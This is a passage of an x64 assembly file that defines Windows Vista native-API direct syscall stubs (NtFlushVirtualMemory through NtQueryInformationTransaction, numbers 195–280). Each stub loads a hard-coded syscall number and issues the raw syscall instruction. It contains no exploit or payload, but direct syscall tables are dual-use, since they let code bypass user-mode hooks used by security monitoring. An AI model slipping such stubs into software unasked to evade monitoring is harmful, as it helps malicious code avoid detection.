, rcx mov eax , 195 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushProcessWriteBuffers ENDP ; ULONG64 __stdcall NtFlushVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtFlushVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 196 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushVirtualMemory ENDP ; ULONG64 __stdcall NtFlushWriteBuffer( ); _6_0_6000_sp0_windows_vista_NtFlushWriteBuffer PROC STDCALL mov r10 , rcx mov eax , 197 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushWriteBuffer ENDP ; ULONG64 __stdcall NtFreeUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtFreeUserPhysicalPages PROC STDCALL mov r10 , rcx mov eax , 198 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFreeUserPhysicalPages ENDP ; ULONG64 __stdcall NtFreezeRegistry( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtFreezeRegistry PROC STDCALL mov r10 , rcx mov eax , 199 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFreezeRegistry ENDP ; ULONG64 __stdcall NtFreezeTransactions( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtFreezeTransactions PROC STDCALL mov r10 , rcx mov eax , 200 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFreezeTransactions ENDP ; ULONG64 __stdcall NtGetContextThread( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtGetContextThread PROC STDCALL mov r10 , rcx mov eax , 201 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetContextThread ENDP ; ULONG64 __stdcall NtGetCurrentProcessorNumber( ); _6_0_6000_sp0_windows_vista_NtGetCurrentProcessorNumber PROC STDCALL mov r10 , rcx mov eax , 202 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetCurrentProcessorNumber ENDP ; ULONG64 __stdcall NtGetDevicePowerState( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtGetDevicePowerState PROC STDCALL mov r10 , rcx mov eax , 203 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetDevicePowerState ENDP ; ULONG64 __stdcall NtGetMUIRegistryInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtGetMUIRegistryInfo PROC STDCALL mov r10 , rcx mov eax , 204 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetMUIRegistryInfo ENDP ; ULONG64 __stdcall NtGetNextProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtGetNextProcess PROC STDCALL mov r10 , rcx mov eax , 205 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetNextProcess ENDP ; ULONG64 __stdcall NtGetNextThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtGetNextThread PROC STDCALL mov r10 , rcx mov eax , 206 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetNextThread ENDP ; ULONG64 __stdcall NtGetNlsSectionPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtGetNlsSectionPtr PROC STDCALL mov r10 , rcx mov eax , 207 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetNlsSectionPtr ENDP ; ULONG64 __stdcall NtGetNotificationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtGetNotificationResourceManager PROC STDCALL mov r10 , rcx mov eax , 208 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetNotificationResourceManager ENDP ; ULONG64 __stdcall NtGetPlugPlayEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtGetPlugPlayEvent PROC STDCALL mov r10 , rcx mov eax , 209 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetPlugPlayEvent ENDP ; ULONG64 __stdcall NtGetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtGetWriteWatch PROC STDCALL mov r10 , rcx mov eax , 210 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtGetWriteWatch ENDP ; ULONG64 __stdcall NtImpersonateAnonymousToken( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtImpersonateAnonymousToken PROC STDCALL mov r10 , rcx mov eax , 211 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtImpersonateAnonymousToken ENDP ; ULONG64 __stdcall NtImpersonateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtImpersonateThread PROC STDCALL mov r10 , rcx mov eax , 212 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtImpersonateThread ENDP ; ULONG64 __stdcall NtInitializeNlsFiles( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtInitializeNlsFiles PROC STDCALL mov r10 , rcx mov eax , 213 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtInitializeNlsFiles ENDP ; ULONG64 __stdcall NtInitializeRegistry( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtInitializeRegistry PROC STDCALL mov r10 , rcx mov eax , 214 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtInitializeRegistry ENDP ; ULONG64 __stdcall NtInitiatePowerAction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtInitiatePowerAction PROC STDCALL mov r10 , rcx mov eax , 215 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtInitiatePowerAction ENDP ; ULONG64 __stdcall NtIsSystemResumeAutomatic( ); _6_0_6000_sp0_windows_vista_NtIsSystemResumeAutomatic PROC STDCALL mov r10 , rcx mov eax , 216 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtIsSystemResumeAutomatic ENDP ; ULONG64 __stdcall NtIsUILanguageComitted( ); _6_0_6000_sp0_windows_vista_NtIsUILanguageComitted PROC STDCALL mov r10 , rcx mov eax , 217 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtIsUILanguageComitted ENDP ; ULONG64 __stdcall NtListTransactions( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtListTransactions PROC STDCALL mov r10 , rcx mov eax , 218 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtListTransactions ENDP ; ULONG64 __stdcall NtListenPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtListenPort PROC STDCALL mov r10 , rcx mov eax , 219 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtListenPort ENDP ; ULONG64 __stdcall NtLoadDriver( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtLoadDriver PROC STDCALL mov r10 , rcx mov eax , 220 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLoadDriver ENDP ; ULONG64 __stdcall NtLoadKey( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtLoadKey PROC STDCALL mov r10 , rcx mov eax , 221 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLoadKey ENDP ; ULONG64 __stdcall NtLoadKey2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtLoadKey2 PROC STDCALL mov r10 , rcx mov eax , 222 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLoadKey2 ENDP ; ULONG64 __stdcall NtLoadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtLoadKeyEx PROC STDCALL mov r10 , rcx mov eax , 223 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLoadKeyEx ENDP ; ULONG64 __stdcall NtLockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtLockFile PROC STDCALL mov r10 , rcx mov eax , 224 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLockFile ENDP ; ULONG64 __stdcall NtLockProductActivationKeys( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtLockProductActivationKeys PROC STDCALL mov r10 , rcx mov eax , 225 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLockProductActivationKeys ENDP ; ULONG64 __stdcall NtLockRegistryKey( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtLockRegistryKey PROC STDCALL mov r10 , rcx mov eax , 226 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLockRegistryKey ENDP ; ULONG64 __stdcall NtLockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtLockVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 227 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtLockVirtualMemory ENDP ; ULONG64 __stdcall NtMakePermanentObject( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtMakePermanentObject PROC STDCALL mov r10 , rcx mov eax , 228 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMakePermanentObject ENDP ; ULONG64 __stdcall NtMakeTemporaryObject( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtMakeTemporaryObject PROC STDCALL mov r10 , rcx mov eax , 229 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMakeTemporaryObject ENDP ; ULONG64 __stdcall NtMapCMFModule( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtMapCMFModule PROC STDCALL mov r10 , rcx mov eax , 230 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMapCMFModule ENDP ; ULONG64 __stdcall NtMapUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtMapUserPhysicalPages PROC STDCALL mov r10 , rcx mov eax , 231 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMapUserPhysicalPages ENDP ; ULONG64 __stdcall NtMarshallTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtMarshallTransaction PROC STDCALL mov r10 , rcx mov eax , 232 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtMarshallTransaction ENDP ; ULONG64 __stdcall NtModifyBootEntry( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtModifyBootEntry PROC STDCALL mov r10 , rcx mov eax , 233 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtModifyBootEntry ENDP ; ULONG64 __stdcall NtModifyDriverEntry( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtModifyDriverEntry PROC STDCALL mov r10 , rcx mov eax , 234 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtModifyDriverEntry ENDP ; ULONG64 __stdcall NtNotifyChangeDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtNotifyChangeDirectoryFile PROC STDCALL mov r10 , rcx mov eax , 235 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtNotifyChangeDirectoryFile ENDP ; ULONG64 __stdcall NtNotifyChangeKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtNotifyChangeKey PROC STDCALL mov r10 , rcx mov eax , 236 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtNotifyChangeKey ENDP ; ULONG64 __stdcall NtNotifyChangeMultipleKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); _6_0_6000_sp0_windows_vista_NtNotifyChangeMultipleKeys PROC STDCALL mov r10 , rcx mov eax , 237 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtNotifyChangeMultipleKeys ENDP ; ULONG64 __stdcall NtOpenEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtOpenEnlistment PROC STDCALL mov r10 , rcx mov eax , 238 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenEnlistment ENDP ; ULONG64 __stdcall NtOpenEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenEventPair PROC STDCALL mov r10 , rcx mov eax , 239 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenEventPair ENDP ; ULONG64 __stdcall NtOpenIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenIoCompletion PROC STDCALL mov r10 , rcx mov eax , 240 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenIoCompletion ENDP ; ULONG64 __stdcall NtOpenJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenJobObject PROC STDCALL mov r10 , rcx mov eax , 241 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenJobObject ENDP ; ULONG64 __stdcall NtOpenKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtOpenKeyTransacted PROC STDCALL mov r10 , rcx mov eax , 242 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenKeyTransacted ENDP ; ULONG64 __stdcall NtOpenKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 243 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenKeyedEvent ENDP ; ULONG64 __stdcall NtOpenMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenMutant PROC STDCALL mov r10 , rcx mov eax , 244 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenMutant ENDP ; ULONG64 __stdcall NtOpenObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); _6_0_6000_sp0_windows_vista_NtOpenObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 245 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenObjectAuditAlarm ENDP ; ULONG64 __stdcall NtOpenPrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtOpenPrivateNamespace PROC STDCALL mov r10 , rcx mov eax , 246 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenPrivateNamespace ENDP ; ULONG64 __stdcall NtOpenProcessToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenProcessToken PROC STDCALL mov r10 , rcx mov eax , 247 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenProcessToken ENDP ; ULONG64 __stdcall NtOpenResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtOpenResourceManager PROC STDCALL mov r10 , rcx mov eax , 248 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenResourceManager ENDP ; ULONG64 __stdcall NtOpenSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenSemaphore PROC STDCALL mov r10 , rcx mov eax , 249 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenSemaphore ENDP ; ULONG64 __stdcall NtOpenSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenSession PROC STDCALL mov r10 , rcx mov eax , 250 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenSession ENDP ; ULONG64 __stdcall NtOpenSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenSymbolicLinkObject PROC STDCALL mov r10 , rcx mov eax , 251 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenSymbolicLinkObject ENDP ; ULONG64 __stdcall NtOpenThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtOpenThread PROC STDCALL mov r10 , rcx mov eax , 252 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenThread ENDP ; ULONG64 __stdcall NtOpenTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtOpenTimer PROC STDCALL mov r10 , rcx mov eax , 253 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenTimer ENDP ; ULONG64 __stdcall NtOpenTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtOpenTransaction PROC STDCALL mov r10 , rcx mov eax , 254 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenTransaction ENDP ; ULONG64 __stdcall NtOpenTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtOpenTransactionManager PROC STDCALL mov r10 , rcx mov eax , 255 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtOpenTransactionManager ENDP ; ULONG64 __stdcall NtPlugPlayControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtPlugPlayControl PROC STDCALL mov r10 , rcx mov eax , 256 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPlugPlayControl ENDP ; ULONG64 __stdcall NtPrePrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtPrePrepareComplete PROC STDCALL mov r10 , rcx mov eax , 257 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrePrepareComplete ENDP ; ULONG64 __stdcall NtPrePrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtPrePrepareEnlistment PROC STDCALL mov r10 , rcx mov eax , 258 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrePrepareEnlistment ENDP ; ULONG64 __stdcall NtPrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtPrepareComplete PROC STDCALL mov r10 , rcx mov eax , 259 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrepareComplete ENDP ; ULONG64 __stdcall NtPrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtPrepareEnlistment PROC STDCALL mov r10 , rcx mov eax , 260 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrepareEnlistment ENDP ; ULONG64 __stdcall NtPrivilegeCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtPrivilegeCheck PROC STDCALL mov r10 , rcx mov eax , 261 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrivilegeCheck ENDP ; ULONG64 __stdcall NtPrivilegeObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtPrivilegeObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 262 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrivilegeObjectAuditAlarm ENDP ; ULONG64 __stdcall NtPrivilegedServiceAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtPrivilegedServiceAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 263 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPrivilegedServiceAuditAlarm ENDP ; ULONG64 __stdcall NtPropagationComplete( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtPropagationComplete PROC STDCALL mov r10 , rcx mov eax , 264 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPropagationComplete ENDP ; ULONG64 __stdcall NtPropagationFailed( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtPropagationFailed PROC STDCALL mov r10 , rcx mov eax , 265 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPropagationFailed ENDP ; ULONG64 __stdcall NtPullTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtPullTransaction PROC STDCALL mov r10 , rcx mov eax , 266 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPullTransaction ENDP ; ULONG64 __stdcall NtPulseEvent( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtPulseEvent PROC STDCALL mov r10 , rcx mov eax , 267 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtPulseEvent ENDP ; ULONG64 __stdcall NtQueryBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryBootEntryOrder PROC STDCALL mov r10 , rcx mov eax , 268 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryBootEntryOrder ENDP ; ULONG64 __stdcall NtQueryBootOptions( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryBootOptions PROC STDCALL mov r10 , rcx mov eax , 269 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryBootOptions ENDP ; ULONG64 __stdcall NtQueryDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryDebugFilterState PROC STDCALL mov r10 , rcx mov eax , 270 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryDebugFilterState ENDP ; ULONG64 __stdcall NtQueryDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtQueryDirectoryObject PROC STDCALL mov r10 , rcx mov eax , 271 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryDirectoryObject ENDP ; ULONG64 __stdcall NtQueryDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryDriverEntryOrder PROC STDCALL mov r10 , rcx mov eax , 272 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryDriverEntryOrder ENDP ; ULONG64 __stdcall NtQueryEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtQueryEaFile PROC STDCALL mov r10 , rcx mov eax , 273 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryEaFile ENDP ; ULONG64 __stdcall NtQueryFullAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtQueryFullAttributesFile PROC STDCALL mov r10 , rcx mov eax , 274 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryFullAttributesFile ENDP ; ULONG64 __stdcall NtQueryInformationAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationAtom PROC STDCALL mov r10 , rcx mov eax , 275 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationAtom ENDP ; ULONG64 __stdcall NtQueryInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationEnlistment PROC STDCALL mov r10 , rcx mov eax , 276 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationEnlistment ENDP ; ULONG64 __stdcall NtQueryInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationJobObject PROC STDCALL mov r10 , rcx mov eax , 277 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationJobObject ENDP ; ULONG64 __stdcall NtQueryInformationPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationPort PROC STDCALL mov r10 , rcx mov eax , 278 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationPort ENDP ; ULONG64 __stdcall NtQueryInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationResourceManager PROC STDCALL mov r10 , rcx mov eax , 279 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationResourceManager ENDP ; ULONG64 __stdcall NtQueryInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtQueryInformationTransaction PROC STDCALL mov r10 , rcx mov eax , 280 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtQueryInformationTransaction ENDP ; ULONG64 __stdcall NtQueryInformationTransactionManager( 